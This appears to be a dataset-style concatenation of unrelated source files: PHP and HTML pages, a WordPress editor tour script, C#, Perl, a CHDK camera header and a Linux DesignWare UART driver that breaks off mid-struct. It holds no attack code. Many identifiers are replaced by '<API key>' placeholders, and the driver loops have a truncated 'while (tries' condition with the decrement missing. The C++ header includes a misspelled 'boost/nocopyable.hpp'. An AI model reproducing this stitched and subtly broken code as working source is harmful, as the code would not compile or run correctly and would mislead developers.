<tr><td> </td><td>- <?=$row3[1]?></td><td><?=$row3[0]?> siswa</td></tr>
<?
}
$cnt++;
}
?>
</table>
</td>
</tr>
</table>
<script language="javascript">
window.print();
</script>
</body>
</html>
|
define(['jquery', 'util.tooltips', 'helper.boxes', 'modules/panel'], function($, tooltips, panel) {
/* Grid */
tourStepsGrid = [
{
beginning: true,
title: 'Welcome to the Blox Visual Editor!',
content: '<p>If this is your first time in the Blox Visual Editor, <strong>we recommend following this tour so you can get the most out of Blox</strong>.</p><p>Or, if you\'re experienced or want to dive in right away, just click the close button in the top right at any time.</p>'
},
{
target: $('li#mode-grid'),
title: 'Mode Selector',
content: '<p>The Blox Visual Editor is split up into 2 modes.</p><p><ul><li><strong>Grid</strong> – Build your layouts</li><li><strong>Design</strong> – Add colors, customize fonts, and more!</li></ul></p>',
position: {
my: 'top left',
at: 'bottom center'
}
},
{
target: $('#<API key>'),
title: 'Layout Selector',
content: '<p style="font-size:12px;">Since you may not want every page to be the same, you may use the Layout Selector to select which page, post, or archive to edit.</p><p style="font-size:12px;">The Layout Selector is based off of inheritance. For example, you can customize the "Page" layout and all pages will follow that layout. Plus, you can customize a specific page and it\'ll be different than all other pages.</p><p style="font-size:12px;">The layout selector will allow you to be as precise or broad as you wish. It\'s completely up to you!</p>',
position: {
my: 'top center',
at: 'bottom center'
}
},
{
target: $('div#box-grid-wizard'),
title: 'The Blox Grid',
content: '<p>Now we\'re ready to get started with the Blox Grid. In other words, the good stuff.</p><p>To build your first layout, please select a preset to the right to pre-populate the grid. Or, you may select "Use Empty Grid" to start with a completely blank grid.</p><p>Once you have a preset selected, click "Finish".</p>',
position: {
my: 'right top',
at: 'left center'
},
nextHandler: {
showButton: false,
clickElement: '#<API key>, span.<API key>',
message: 'Please click <strong>"Finish"</strong> or <strong>"Use Empty Grid"</strong> to continue.'
}
},
{
iframeTarget: 'div.grid-container',
title: 'Adding Blocks',
content: '<p>To add a block, simply place your mouse into the grid then click at where you\'d like the top-left point of the block to be.</p><p>Drag your mouse and the block will appear! Once the block appears, you may choose the block type.</p><p>Hint: Don\'t worry about being precise, you may always move or resize the block.</p>',
position: {
my: 'right top',
at: 'left top',
adjustY: 100
},
maxWidth: 280
},
{
iframeTarget: 'div.grid-container',
title: 'Modifying Blocks',
content: '\
<p style="font-size:12px;">After you\'ve added the desired blocks to your layout, you may move, resize, delete, or change the options of the block at any time.</p>\
<ul style="font-size:12px;">\
<li><strong>Moving Blocks</strong> – Click and drag the block. If you wish to move multiple blocks simultaneously, double-click on a block to enter <em>Mass Block Selection Mode</em>.</li>\
<li><strong>Resizing Blocks</strong> – Grab the border or corner of the block and drag your mouse.</li>\
<li><strong>Block Options (e.g. header image)</strong> – Hover over the block then click the block options icon in the top-right.</li>\
<li><strong>Deleting Blocks</strong> – Move your mouse over the desired block, then click the <em>X</em> icon in the top-right.</li>\
</ul>',
position: {
my: 'right top',
at: 'left top',
adjustY: 100
},
maxWidth: 280
},
{
target: $('#<API key>'),
title: 'Saving',
content: '<p>Now that you hopefully have a few changes to be saved, you can save using this spiffy Save button.</p><p>For those of you who like hotkeys, use <strong>Ctrl + S</strong> to save.</p>',
position: {
my: 'top right',
at: 'bottom center'
},
tip: 'top right'
},
{
target: $('li#mode-design a'),
title: 'Design Mode',
content: '<p>Thanks for sticking with us!</p><p>Now that you have an understanding of the Grid Mode, we hope you stick with us and head on over to the Design Mode.</p>',
position: {
my: 'top left',
at: 'bottom center',
adjustY: 5
},
tip: 'top left',
buttonText: 'Continue to Design Mode',
buttonCallback: function () {
$.post(Blox.ajaxURL, {
security: Blox.security,
action: 'blox_visual_editor',
method: 'ran_tour',
mode: 'grid',
complete: function () {
Blox.ranTour['grid'] = true;
/* Advance to Design Editor */
$('li#mode-design a').trigger('click');
window.location = $('li#mode-design a').attr('href');
}
});
}
}
];
/* Design */
tourStepsDesign = [
{
beginning: true,
title: 'Welcome to the Blox Design Editor!',
content: "<p>In the <strong>Design Editor</strong>, you can style your elements however you'd like.</p><p>Whether it's fonts, colors, padding, borders, shadows, or rounded corners, you can use the design editor.</p><p>Stick around to learn more!</p>"
},
{
target: '#side-panel-top',
title: 'Element Selector',
content: '<p>The element selector allows you choose which element to edit.</p>',
position: {
my: 'right top',
at: 'left center'
},
callback: function () {
$('li#<API key> > span.element-name').trigger('click');
}
},
{
target: '#toggle-inspector',
title: 'Inspector',
content: "\
<p>Instead of using the <em>Element Selector</em>, let the Inspector do the work for you.</p>\
<p><strong>Try it out!</strong> Point and right-click on the element you wish to edit and it will become selected!</p>\
",
position: {
my: 'top right',
at: 'bottom center',
adjustX: 10,
adjustY: 5
}
},
{
target: 'window',
title: 'Have fun building with Blox!',
content: '<p>We hope you find Blox to the most powerful and easy-to-use WordPress framework around.</p><p>If you have any questions, please don\'t hesitate to visit the <a href="http://support.bloxtheme.com/?utm_source=visualeditor&utm_medium=blox&utm_campaign=tour" target="_blank">support forums</a>.</p>',
end: true
}
];
return {
start: function () {
if ( Blox.mode == 'grid' ) {
var steps = tourStepsGrid;
hidePanel();
openBox('grid-wizard');
} else if ( Blox.mode == 'design' ) {
var steps = tourStepsDesign;
showPanel();
require(['modules/design/mode-design'], function() {
showDesignEditor();
});
if ( typeof $('div#panel').data('ui-tabs') != 'undefined' )
selectTab('editor-tab', $('div#panel'));
} else {
return;
}
$('<div class="black-overlay"></div>')
.hide()
.attr('id', 'black-overlay-tour')
.css('zIndex', 15)
.appendTo('body')
.fadeIn(500);
$(document.body).qtip({
id: 'tour', // Give it an ID of qtip-tour so we an identify it easily
content: {
text: steps[0].content + '<div id="tour-next-container"><span id="tour-next" class="tour-button button button-blue">Continue Tour <span class="arrow">›</span></span></div>',
title: {
text: steps[0].title, // ...and title
button: 'Skip Tour'
}
},
style: {
classes: 'qtip-tour',
tip: {
width: 18,
height: 10,
mimic: 'center',
offset: 10
}
},
position: {
my: 'center',
at: 'center',
target: $(window), // Also use first steps position target...
viewport: $(window), // ...and make sure it stays on-screen if possible
adjust: {
y: 5,
method: 'shift shift'
}
},
show: {
event: false, // Only show when show() is called manually
ready: true, // Also show on page load,
effect: function () {
$(this).fadeIn(500);
}
},
hide: false, // Don't hide unless we call hide()
events: {
render: function (event, api) {
$('#iframe-notice').remove();
hideIframeOverlay();
openBox('grid-wizard');
// Grab tooltip element
var tooltip = api.elements.tooltip;
// Track the current step in the API
api.step = 0;
// Bind custom custom events we can fire to step forward/back
tooltip.bind('next', function (event) {
/* For some reason trigger window resizing helps tooltip positioning */
$(window).trigger('resize');
// Increase/decrease step depending on the event fired
api.step += 1;
api.step = Math.min(steps.length - 1, Math.max(0, api.step));
// Set new step properties
currentTourStep = steps[api.step];
$('div#black-overlay-tour').fadeOut(100, function () {
$(this).remove();
});
//Run the callback if it exists
if ( typeof currentTourStep.callback === 'function' ) {
currentTourStep.callback.apply(api);
}
if ( currentTourStep.target == 'window' ) {
currentTourStep.target = $(window);
} else if ( typeof currentTourStep.target == 'string' ) {
currentTourStep.target = $(currentTourStep.target);
} else if ( typeof currentTourStep.iframeTarget == 'string' ) {
currentTourStep.target = $i(currentTourStep.iframeTarget).first();
}
api.set('position.target', currentTourStep.target);
if ( typeof currentTourStep.maxWidth !== 'undefined' && window.innerWidth < 1440 ) {
$('.qtip-tour').css('maxWidth', currentTourStep.maxWidth);
} else {
$('.qtip-tour').css('maxWidth', 350);
}
/* Set up button */
var buttonText = 'Next';
if ( typeof currentTourStep.buttonText == 'string' )
var buttonText = currentTourStep.buttonText;
if ( typeof currentTourStep.end !== 'undefined' && currentTourStep.end === true ) {
var button = '<div id="tour-next-container"><span id="tour-finish" class="tour-button button button-blue">Close Tour <span class="arrow">›</span></div>';
} else if ( typeof currentTourStep.nextHandler === 'undefined' || currentTourStep.nextHandler.showButton ) {
var button = '<div id="tour-next-container"><span id="tour-next" class="tour-button button button-blue">' + buttonText + ' <span class="arrow">›</span></div>';
} else {
var button = '<div id="tour-next-container"><p>' + currentTourStep.nextHandler.message + '</p></div>';
}
/* Next Handler Callback... Be able to use something other than the button */
if ( typeof currentTourStep.nextHandler !== 'undefined' && $(currentTourStep.nextHandler.clickElement) ) {
var nextHandlerCallback = function (event) {
$('.qtip-tour').triggerHandler('next');
event.preventDefault();
$(this).unbind('click', nextHandlerCallback);
}
$(currentTourStep.nextHandler.clickElement).bind('click', nextHandlerCallback);
}
/* Set the Content */
api.set('content.text', currentTourStep.content + button);
api.set('content.title', currentTourStep.title);
if ( typeof currentTourStep.end === 'undefined' ) {
/* Position */
if ( typeof currentTourStep.position !== 'undefined' ) {
api.set('position.my', currentTourStep.position.my);
api.set('position.at', currentTourStep.position.at);
/* Offset/Adjust */
if ( typeof currentTourStep.position.adjustX !== 'undefined' ) {
api.set('position.adjust.x', currentTourStep.position.adjustX);
} else {
api.set('position.adjust.x', 0);
}
if ( typeof currentTourStep.position.adjustY !== 'undefined' ) {
api.set('position.adjust.y', currentTourStep.position.adjustY);
} else {
api.set('position.adjust.y', 0);
}
} else {
api.set('position.my', 'top center');
api.set('position.at', 'bottom center');
}
if ( typeof currentTourStep.tip !== 'undefined' )
api.set('style.tip.corner', currentTourStep.tip);
} else {
api.set('position.my', 'center');
api.set('position.at', 'center');
}
});
/* Tour Button Bindings */
$('div.qtip-tour').on('click', 'span#tour-next', function (event) {
/* Callback that fires upon button click... Used for advancing to Design Editor */
if ( typeof currentTourStep == 'object' && typeof currentTourStep.buttonCallback == 'function' )
currentTourStep.buttonCallback.call();
$('.qtip-tour').triggerHandler('next');
event.preventDefault();
});
$('div.qtip-tour').on('click', 'span#tour-finish', function (event) {
$('.qtip-tour').qtip('hide');
});
},
// Destroy the tooltip after it hides as its no longer needed
hide: function (event, api) {
$('div#tour-overlay').remove();
$('div#black-overlay-tour').fadeOut(100, function () {
$(this).remove();
});
$('.qtip-tour').fadeOut(100, function () {
$(this).qtip('destroy');
});
//Tell the DB that the tour has been ran
if ( Blox.ranTour[Blox.mode] == false && Blox.ranTour.legacy != true ) {
$.post(Blox.ajaxURL, {
security: Blox.security,
action: 'blox_visual_editor',
method: 'ran_tour',
mode: Blox.mode
});
Blox.ranTour[Blox.mode] = true;
}
}
}
});
}
}
});
|
using System.Diagnostics;
using System.Xml.Serialization;
namespace IDF.Utilities.ProcLaunch
{
public class ProcInfo
{
[XmlAttribute]
public string Path { get; set; }
[XmlAttribute]
public string WorkingDir { get; set; }
[XmlAttribute]
public string Arguments { get; set; }
[XmlAttribute]
public bool Restart { get; set; }
[XmlIgnore]
public Process ProcessInfo;
[XmlIgnore]
public ProcInfo Parent { get; set; }
}
}
|
<ng-include src="'js/editor/properties-panel/<API key>.html'"></ng-include>
<div class="form-group">
<label for="width">
<translate>Width</translate>
<i class="fa fa-info-circle" tooltip-placement="top-right"
uib-tooltip="{{ 'Specify the number of columns of the element. All elements can take up to 12 columns.' | translate }}"
<API key>="true"></i>
</label>
<div class="inner-addon left-addon">
<i class="fa fa-{{ resolution().icon }} bold text-normal"></i>
<input ng-model="currentComponent.dimension[resolution().key]" type="number"
class="form-control property--width input-sm" id="width" min="1" max="12">
<div class="<API key>" translate translate-n="currentComponent.dimension[resolution().key]"
translate-plural="columns">column
</div>
</div>
</div>
<property-field
ng-repeat="property in currentComponent.$$widget.properties"
property="property"
property-value="currentComponent.propertyValues[property.name]"
properties="currentComponent.propertyValues"
page-data="page.variables"></property-field>
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>libmbim-glib Reference Manual: Annotation Glossary</title>
<meta name="generator" content="DocBook XSL Stylesheets V1.78.1">
<link rel="home" href="index.html" title="libmbim-glib Reference Manual">
<link rel="up" href="index.html" title="libmbim-glib Reference Manual">
<link rel="prev" href="api-index-full.html" title="API Index">
<meta name="generator" content="GTK-Doc V1.20 (XML mode)">
<link rel="stylesheet" href="style.css" type="text/css">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="10"><tr valign="middle">
<td width="100%" align="left" class="shortcuts"><span id="nav_glossary"><a class="shortcut" href="#glsO">O</a>
<span class="dim">|</span>
<a class="shortcut" href="#glsT">T</a></span></td>
<td><a accesskey="h" href="index.html"><img src="home.png" width="16" height="16" border="0" alt="Home"></a></td>
<td><img src="up-insensitive.png" width="16" height="16" border="0"></td>
<td><a accesskey="p" href="api-index-full.html"><img src="left.png" width="16" height="16" border="0" alt="Prev"></a></td>
<td><img src="right-insensitive.png" width="16" height="16" border="0"></td>
</tr></table>
<div class="glossary">
<div class="titlepage"><div><div><h1 class="title">
<a name="annotation-glossary"></a>Annotation Glossary</h1></div></div></div>
<a name="glsO"></a><h3 class="title">O</h3>
<dt><span class="glossterm"><a name="<API key>"></a>out</span></dt>
<dd class="glossdef"><p>Parameter for returning results. Default is <acronym title="Free data after the code is done."><span class="acronym">transfer full</span></acronym>.</p></dd>
<a name="glsT"></a><h3 class="title">T</h3>
<dt><span class="glossterm"><a name="<API key>%20full"></a>transfer full</span></dt>
<dd class="glossdef"><p>Free data after the code is done.</p></dd>
<dt><span class="glossterm"><a name="<API key>%20none"></a>transfer none</span></dt>
<dd class="glossdef"><p>Don't free data after the code is done.</p></dd>
</div>
<div class="footer">
<hr>
Generated by GTK-Doc V1.20</div>
</body>
</html>
|
alert('local');
|
#ifndef <API key>
#define <API key>
#include <boost/nocopyable.hpp>
#include <google/protobuf/message_lite.h>
#include <google/protobuf/message.h>
#include <google/protobuf/descriptor.h>
class KafkaProducer :
public boost::nocopyable
{
public:
template<typename MessageT>
void Push(std::string strTopic, std::string strGroupId, MessageT* pstMessage)
{
}
private:
};
#endif // define <API key>
|
<?php
namespace Stormpath\Authc\Api;
use Stormpath\Resource\ApiKey;
use Stormpath\Resource\Application;
class AuthenticatorResult
{
protected $application;
protected $apiKey;
protected $accessToken;
public function __construct(Application $application, ApiKey $apiKey, $accessToken = null)
{
$this->application = $application;
$this->apiKey = $apiKey;
if($accessToken) {
$this->accessToken = $accessToken;
}
}
public function getApplication()
{
return $this->application;
}
public function getApiKey()
{
return $this->apiKey;
}
public function getAccessToken()
{
return $this->accessToken;
}
}
|
# vim: ts=2 sw=2 expandtab
package Data::Transform::Identity;
use strict;
use Data::Transform;
use vars qw($VERSION @ISA);
$VERSION = '0.01';
@ISA = qw(Data::Transform);
sub new {
my $type = shift;
my $self = bless [ [] ], $type;
return $self;
}
sub clone {
my $self = shift;
my $clone = bless [ [] ], ref $self;
return $clone;
}
sub _handle_get_data {
my ($self, $data) = @_;
return $data;
}
sub _handle_put_data {
my ($self, $chunk) = @_;
return $chunk;
}
1;
__END__
=head1 NAME
Data::Transform::Identity - a no-op filter that passes data through unchanged
=head1 SYNOPSIS
#!perl
use Term::ReadKey;
use POE qw(Wheel::ReadWrite Filter::Stream);
POE::Session->create(
inline_states => {
_start => sub {
ReadMode "ultra-raw";
$_[HEAP]{io} = POE::Wheel::ReadWrite->new(
InputHandle => \*STDIN,
OutputHandle => \*STDOUT,
InputEvent => "got_some_data",
Filter => POE::Filter::Stream->new(),
);
},
got_some_data => sub {
$_[HEAP]{io}->put("<$_[ARG0]>");
delete $_[HEAP]{io} if $_[ARG0] eq "\cC";
},
_stop => sub {
ReadMode "restore";
print "\n";
},
}
);
POE::Kernel->run();
exit;
=head1 DESCRIPTION
Data::Transform::Identity passes data through unchanged. It
follows Data::Transform's API and implements no new functionality.
In the L</SYNOPSIS>, POE::Filter::Stream is used to collect keystrokes
without any interpretation and display output without any
embellishments.
=head1 SEE ALSO
L<Data::Transform>
=head1 AUTHORS & COPYRIGHTS
See L<Data::Transform>
=cut
|
// Camera - SX150IS - platform_camera.h
// This file contains the various settings values specific to the SX150IS camera.
// This file is referenced via the 'include/camera.h' file and should not be loaded directly.
// If adding a new settings value put a suitable default in 'include/camera.h',
// along with documentation on what the setting does and how to determine the correct value.
// If the setting should not have a default value then add it in 'include/camera.h'
// using the '#undef' directive along with appropriate documentation.
// Override any default values with your camera specific values in this file. Try and avoid
// having override values that are the same as the default value.
// When overriding a setting value there are two cases:
// 1. If removing the value, because it does not apply to your camera, use the '#undef' directive.
// 2. If changing the value it is best to use an '#undef' directive to remove the default value
// followed by a '#define' to set the new value.
// When porting CHDK to a new camera, check the documentation in 'include/camera.h'
// for information on each setting. If the default values are correct for your camera then
// don't override them again in here.
#define CAM_PROPSET 4
#define CAM_DRYOS 1
#define CAM_DRYOS_2_3_R39 1
#define CAM_DRYOS_2_3_R47 1 // Defined for cameras with DryOS version R47 or higher
#undef <API key>
#define <API key> 1
#define <API key> 1
#define CAM_BRACKETING 1
#undef CAM_VIDEO_CONTROL
#define CAM_HAS_JOGDIAL 1
#undef CAM_USE_ZOOM_FOR_MF
#undef CAM_UNCACHED_BIT
#define CAM_UNCACHED_BIT 0x40000000
#define <API key> 1
#define <API key> { "Playback", "Video", "Display" }
#define <API key> { KEY_PRINT, KEY_VIDEO, KEY_DISPLAY }
#define CAM_DNG_LENS_INFO { 50,10, 600,10, 34,10, 56,10 } // See comments in camera.h
// pattern
#define cam_CFAPattern 0x01000201 // Green Blue Red Green
// color
#define CAM_COLORMATRIX1 \
1301431, 1000000, -469837, 1000000, -102652, 1000000, \
-200195, 1000000, 961551, 1000000, 238645, 1000000, \
-16441, 1000000, 142319, 1000000, 375979, 1000000
#define <API key> 1 // Daylight
// Sensor size, DNG image size & cropping
#define CAM_RAW_ROWPIX 4464
#define CAM_RAW_ROWS 3276
#define CAM_JPEG_WIDTH 4368
#define CAM_JPEG_HEIGHT 3254
#define CAM_ACTIVE_AREA_X1 24
#define CAM_ACTIVE_AREA_Y1 10
#define CAM_ACTIVE_AREA_X2 (CAM_RAW_ROWPIX-72)
#define CAM_ACTIVE_AREA_Y2 (CAM_RAW_ROWS-12)
// camera name
#define PARAM_CAMERA_NAME 4 // parameter number for GetParameterData
#undef <API key>
#define <API key> 12
#define <API key> 1
// copied from the SX200 which has the same video buffer size
#undef <API key>
#define <API key> 1 //camera uses the modified graphics primitives to map screens an viewports to buffers more sized
#undef CAM_BITMAP_WIDTH
#define CAM_BITMAP_WIDTH 720 // Actual width of bitmap screen in bytes
#define CAM_ZEBRA_NOBUF 1
//#undef EDGE_HMARGIN
//#define EDGE_HMARGIN 28
#define <API key> 0x400
// CR2 accesible through USB
#undef DEFAULT_RAW_EXT
#define DEFAULT_RAW_EXT 2
#define <API key> 1 // use PROPCASE_TIMER_MODE to check for multiple shot custom timer.
// Used to enabled bracketing in custom timer, required on many recent cameras
#undef CAM_USB_EVENTID
#define CAM_USB_EVENTID 0x202 // Levent ID for USB control. Changed in DryOS R49 so needs to be overridable.
#define <API key> 0xC0220014 // specifies an LED that turns on while camera waits for USB remote to sync
#define <API key> 1 // Define to use the alternate code in lens_set_zoom_point()
#define <API key> 1 // Define to use the <API key>() function in lens_set_zoom_point()
#define <API key> 300 // http://chdk.setepontos.com/index.php?topic=6953.msg119736#msg119736
#define CAM_SD_OVER_IN_AF 1
#define CAM_SD_OVER_IN_AFL 1
#define CAM_SD_OVER_IN_MF 1
#undef CAM_AF_LED
#define CAM_AF_LED 1
#define CAM_REAR_CURTAIN 1
|
package com.moon.threadlocal;
import org.junit.Test;
public class SequenceA implements Sequence{
private static int number=0;
@Override
public int getNumber(){
number=number+1;
return number;
}
}
|
#include <linux/device.h>
#include <linux/io.h>
#include <linux/module.h>
#include <linux/serial_8250.h>
#include <linux/serial_core.h>
#include <linux/serial_reg.h>
#include <linux/of.h>
#include <linux/of_irq.h>
#include <linux/of_platform.h>
#include <linux/platform_device.h>
#include <linux/slab.h>
#include <linux/acpi.h>
#include <linux/clk.h>
#include <linux/reset.h>
#include <linux/pm_runtime.h>
#include <asm/byteorder.h>
#include "8250.h"
/* Offsets for the DesignWare specific registers */
#define DW_UART_USR 0x1f /* UART Status Register */
#define DW_UART_CPR 0xf4 /* Component Parameter Register */
#define DW_UART_UCV 0xf8 /* UART Component Version */
/* Component Parameter Register bits */
#define <API key> (3 << 0)
#define <API key> (1 << 4)
#define <API key> (1 << 5)
#define <API key> (1 << 6)
#define <API key> (1 << 7)
#define <API key> (1 << 8)
#define <API key> (1 << 9)
#define <API key> (1 << 10)
#define DW_UART_CPR_SHADOW (1 << 11)
#define <API key> (1 << 12)
#define <API key> (1 << 13)
#define <API key> (0xff << 16)
/* Helper for fifo size calculation */
#define <API key>(a) (((a >> 16) & 0xff) * 16)
struct dw8250_data {
u8 usr_reg;
int last_mcr;
int line;
struct clk *clk;
struct reset_control *rst;
struct uart_8250_dma dma;
};
static inline int dw8250_modify_msr(struct uart_port *p, int offset, int value)
{
struct dw8250_data *d = p->private_data;
/* If reading MSR, report CTS asserted when auto-CTS/RTS enabled */
if (offset == UART_MSR && d->last_mcr & UART_MCR_AFE) {
value |= UART_MSR_CTS;
value &= ~UART_MSR_DCTS;
}
return value;
}
static void dw8250_force_idle(struct uart_port *p)
{
<API key>(container_of
(p, struct uart_8250_port, port));
(void)p->serial_in(p, UART_RX);
}
static void dw8250_serial_out(struct uart_port *p, int offset, int value)
{
struct dw8250_data *d = p->private_data;
if (offset == UART_MCR)
d->last_mcr = value;
writeb(value, p->membase + (offset << p->regshift));
/* Make sure LCR write wasn't ignored */
if (offset == UART_LCR) {
int tries = 1000;
while (tries
unsigned int lcr = p->serial_in(p, UART_LCR);
if ((value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR))
return;
dw8250_force_idle(p);
writeb(value, p->membase + (UART_LCR << p->regshift));
}
dev_err(p->dev, "Couldn't set LCR to %d\n", value);
}
}
static unsigned int dw8250_serial_in(struct uart_port *p, int offset)
{
unsigned int value = readb(p->membase + (offset << p->regshift));
return dw8250_modify_msr(p, offset, value);
}
/* Read Back (rb) version to ensure register access ording. */
static void <API key>(struct uart_port *p, int offset, int value)
{
dw8250_serial_out(p, offset, value);
dw8250_serial_in(p, UART_LCR);
}
static void dw8250_serial_out32(struct uart_port *p, int offset, int value)
{
struct dw8250_data *d = p->private_data;
if (offset == UART_MCR)
d->last_mcr = value;
writel(value, p->membase + (offset << p->regshift));
/* Make sure LCR write wasn't ignored */
if (offset == UART_LCR) {
int tries = 1000;
while (tries
unsigned int lcr = p->serial_in(p, UART_LCR);
if ((value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR))
return;
dw8250_force_idle(p);
writel(value, p->membase + (UART_LCR << p->regshift));
}
dev_err(p->dev, "Couldn't set LCR to %d\n", value);
}
}
static unsigned int dw8250_serial_in32(struct uart_port *p, int offset)
{
unsigned int value = readl(p->membase + (offset << p->regshift));
return dw8250_modify_msr(p, offset, value);
}
static int dw8250_handle_irq(struct uart_port *p)
{
struct dw8250_data *d = p->private_data;
unsigned int iir = p->serial_in(p, UART_IIR);
if (<API key>(p, iir)) {
return 1;
} else if ((iir & UART_IIR_BUSY) == UART_IIR_BUSY) {
/* Clear the USR */
(void)p->serial_in(p, d->usr_reg);
return 1;
}
return 0;
}
static void
dw8250_do_pm(struct uart_port *port, unsigned int state, unsigned int old)
{
if (!state)
pm_runtime_get_sync(port->dev);
serial8250_do_pm(port, state, old);
if (state)
<API key>(port->dev);
}
static bool dw8250_dma_filter(struct dma_chan *chan, void *param)
{
struct dw8250_data *data = param;
return chan->chan_id == data->dma.tx_chan_id ||
chan->chan_id == data->dma.rx_chan_id;
}
static void dw8250_setup_port(struct uart_8250_port *up)
{
struct uart_port *p = &up->port;
u32 reg = readl(p->membase + DW_UART_UCV);
/*
* If the Component Version Register returns zero, we know that
* ADDITIONAL_FEATURES are not enabled. No need to go any further.
*/
if (!reg)
return;
dev_dbg_ratelimited(p->dev, "Designware UART version %c.%c%c\n",
(reg >> 24) & 0xff, (reg >> 16) & 0xff, (reg >> 8) & 0xff);
reg = readl(p->membase + DW_UART_CPR);
if (!reg)
return;
/* Select the type based on fifo */
if (reg & <API key>) {
p->type = PORT_16550A;
p->flags |= UPF_FIXED_TYPE;
p->fifosize = <API key>(reg);
up->tx_loadsz = p->fifosize;
up->capabilities = UART_CAP_FIFO;
}
if (reg & <API key>)
up->capabilities |= UART_CAP_AFE;
}
static int dw8250_probe_of(struct uart_port *p,
struct dw8250_data *data)
{
struct device_node *np = p->dev->of_node;
u32 val;
bool has_ucv = true;
if (<API key>(np, "cavium,octeon-3860-uart")) {
#ifdef __BIG_ENDIAN
/*
* Low order bits of these 64-bit registers, when
* accessed as a byte, are 7 bytes further down in the
* address space in big endian mode.
*/
p->membase += 7;
#endif
p->serial_out = <API key>;
p->flags = ASYNC_SKIP_TEST | UPF_SHARE_IRQ | UPF_FIXED_TYPE;
p->type = PORT_OCTEON;
data->usr_reg = 0x27;
has_ucv = false;
} else if (!<API key>(np, "reg-io-width", &val)) {
switch (val) {
case 1:
break;
case 4:
p->iotype = UPIO_MEM32;
p->serial_in = dw8250_serial_in32;
p->serial_out = dw8250_serial_out32;
break;
default:
dev_err(p->dev, "unsupported reg-io-width (%u)\n", val);
return -EINVAL;
}
}
if (has_ucv)
dw8250_setup_port(container_of(p, struct uart_8250_port, port));
if (!<API key>(np, "reg-shift", &val))
p->regshift = val;
data->rst = <API key>(p->dev, NULL);
/* clock got configured through clk api, all done */
if (p->uartclk)
return 0;
/* try to find out clock frequency from DT as fallback */
if (<API key>(np, "clock-frequency", &val)) {
dev_err(p->dev, "clk or clock-frequency not defined\n");
return -EINVAL;
}
p->uartclk = val;
return 0;
}
static int dw8250_probe_acpi(struct uart_8250_port *up,
struct dw8250_data *data)
{
const struct acpi_device_id *id;
struct uart_port *p = &up->port;
dw8250_setup_port(up);
id = acpi_match_device(p->dev->driver->acpi_match_table, p->dev);
if (!id)
return -ENODEV;
p->iotype = UPIO_MEM32;
p->serial_in = dw8250_serial_in32;
p->serial_out = dw8250_serial_out32;
p->regshift = 2;
if (!p->uartclk)
p->uartclk = (unsigned int)id->driver_data;
up->dma = &data->dma;
up->dma->rxconf.src_maxburst = p->fifosize / 4;
up->dma->txconf.dst_maxburst = p->fifosize / 4;
return 0;
}
static int dw8250_probe(struct platform_device *pdev)
{
struct uart_8250_port uart = {};
struct resource *regs = <API key>(pdev, IORESOURCE_MEM, 0);
struct resource *irq = <API key>(pdev, IORESOURCE_IRQ, 0);
struct dw8250_data *data;
int err;
if (!regs || !irq) {
dev_err(&pdev->dev, "no registers/irq defined\n");
return -EINVAL;
}
spin_lock_init(&uart.port.lock);
uart.port.mapbase = regs->start;
uart.port.irq = irq->start;
uart.port.handle_irq = dw8250_handle_irq;
uart.port.pm = dw8250_do_pm;
uart.port.type = PORT_8250;
uart.port.flags = UPF_SHARE_IRQ | UPF_BOOT_AUTOCONF | UPF_FIXED_PORT;
uart.port.dev = &pdev->dev;
uart.port.membase = devm_ioremap(&pdev->dev, regs->start,
resource_size(regs));
if (!uart.port.membase)
return -ENOMEM;
data = devm_kzalloc(&pdev->dev, sizeof(*data), GFP_KERNEL);
if (!data)
return -ENOMEM;
data->usr_reg = DW_UART_USR;
data->clk = devm_clk_get(&pdev->dev, NULL);
if (!IS_ERR(data->clk)) {
clk_prepare_enable(data->clk);
uart.port.uartclk = clk_get_rate(data->clk);
}
data->dma.rx_chan_id = -1;
data->dma.tx_chan_id = -1;
data->dma.rx_param = data;
data->dma.tx_param = data;
data->dma.fn = dw8250_dma_filter;
uart.port.iotype = UPIO_MEM;
uart.port.serial_in = dw8250_serial_in;
uart.port.serial_out = dw8250_serial_out;
uart.port.private_data = data;
if (pdev->dev.of_node) {
err = dw8250_probe_of(&uart.port, data);
if (err)
return err;
} else if (ACPI_HANDLE(&pdev->dev)) {
err = dw8250_probe_acpi(&uart, data);
if (err)
return err;
} else {
return -ENODEV;
}
if (!IS_ERR_OR_NULL(data->rst))
<API key>(data->rst);
data->line = <API key>(&uart);
if (data->line < 0)
return data->line;
<API key>(pdev, data);
<API key>(&pdev->dev);
pm_runtime_enable(&pdev->dev);
return 0;
}
static int dw8250_remove(struct platform_device *pdev)
{
struct dw8250_data *data = <API key>(pdev);
pm_runtime_get_sync(&pdev->dev);
<API key>(data->line);
if (!IS_ERR_OR_NULL(data->rst))
<API key>(data->rst);
if (!IS_ERR(data->clk))
<API key>(data->clk);
pm_runtime_disable(&pdev->dev);
<API key>(&pdev->dev);
return 0;
}
#ifdef CONFIG_PM_SLEEP
static int dw8250_suspend(struct device *dev)
{
struct dw8250_data *data = dev_get_drvdata(dev);
<API key>(data->line);
return 0;
}
static int dw8250_resume(struct device *dev)
{
struct dw8250_data *data = dev_get_drvdata(dev);
<API key>(data->line);
return 0;
}
#endif /* CONFIG_PM_SLEEP */
#ifdef CONFIG_PM_RUNTIME
static int <API key>(struct device *dev)
{
struct dw8250_data *data = dev_get_drvdata(dev);
if (!IS_ERR(data->clk))
<API key>(data->clk);
return 0;
}
static int <API key>(struct device *dev)
{
struct dw8250_data *data = dev_get_drvdata(dev);
if (!IS_ERR(data->clk))
clk_prepare_enable(data->clk);
return 0;
}
#endif
static const struct dev_pm_ops dw8250_pm_ops = {
<API key>(dw8250_suspend, dw8250_resume)
SET_RUNTIME_PM_OPS(<API key>, <API key>, NULL)
};
static const struct of_device_id dw8250_of_match[] = {
{ .compatible = "snps,dw-apb-uart" },
{ .compatible = "cavium,octeon-3860-uart" },
{ /* Sentinel */ }
};
MODULE_DEVICE_TABLE(of, dw8250_of_match);
static const struct acpi_device_id dw8250_acpi_match[] = {
{ "INT33C4", 0 },
{ "INT33C5", 0 },
{ "INT3434", 0 },
{ "INT3435", 0 },
{ "80860F0A", 0 },
{ },
};
MODULE_DEVICE_TABLE(acpi, dw8250_acpi_match);
static struct platform_driver <API key> = {
.driver = {
